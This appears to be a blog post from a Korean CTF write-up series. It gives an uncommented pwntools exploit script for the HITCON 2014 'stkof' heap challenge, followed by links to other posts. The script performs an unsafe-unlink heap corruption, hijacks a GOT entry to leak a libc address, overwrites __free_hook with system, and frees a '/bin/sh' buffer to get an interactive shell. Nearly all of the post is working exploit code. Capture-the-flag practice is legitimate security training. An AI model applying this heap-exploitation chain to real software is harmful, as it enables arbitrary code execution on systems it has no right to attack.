-
hitcon 2014 stkofPwnable/CTF 2017. 9. 4. 23:47123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778from pwn import *p = process("./stkof")elf = ELF("./stkof")def malloc(size):p.sendline("1")p.sendline(str(size))print p.recvuntil('OK')def free(index):p.sendline("3")p.sendline(str(index))print p.recvuntil('OK')def fread(index,length,data):p.sendline("2")p.sendline(str(index))p.sendline(str(length))p.sendline(data)print p.recvuntil('OK')def len_check(index):p.sendline("4")p.sendline(str(index))p.recv(1024) #enter inputpointer = 0x602150malloc(0x80)malloc(0x80)malloc(0x80)malloc(0x80)malloc(0x80)payload = p64(0)payload += p64(0x81)payload += p64(pointer-0x18)payload += p64(pointer-0x10)payload += "A"*0x60payload += p64(0x80)payload += p64(0x90)fread(2,len(payload),payload)free(3)payload = p64(0)*2payload += p64(elf.got['strlen'])fread(2,len(payload),payload)fread(1,8,p64(elf.plt['puts']))malloc(0x100)malloc(0x100)free(6)malloc(0x99)len_check(8)main_arena = u64(p.recv(6)+"\x00\x00") - 344malloc_hook = main_arena - 0x10libc_base = malloc_hook - 0x3c4b10system = libc_base + 0x45390free_hook = libc_base + 0x3c67a8print hex(malloc_hook)print hex(libc_base)print hex(system)payload = p64(0)*2payload += p64(free_hook)fread(2,len(payload),payload)fread(1,8,p64(system))malloc(0x105)BinSH = "/bin/sh\x00"fread(9,len(BinSH)+1,BinSH)free(9)p.interactive()
cs UNLINK GGUL JAM'Pwnable > CTF' 카테고리의 다른 글
31c3ctf 2014 mynx (1) 2017.10.09 bctf 2016 memo (0) 2017.10.02 크리스마스CTF 2016 house_of_daehee (0) 2017.08.28 크리스마스CTF 2016 who is solo? (0) 2017.08.27 BCTF 2016 Bcloud (0) 2017.08.27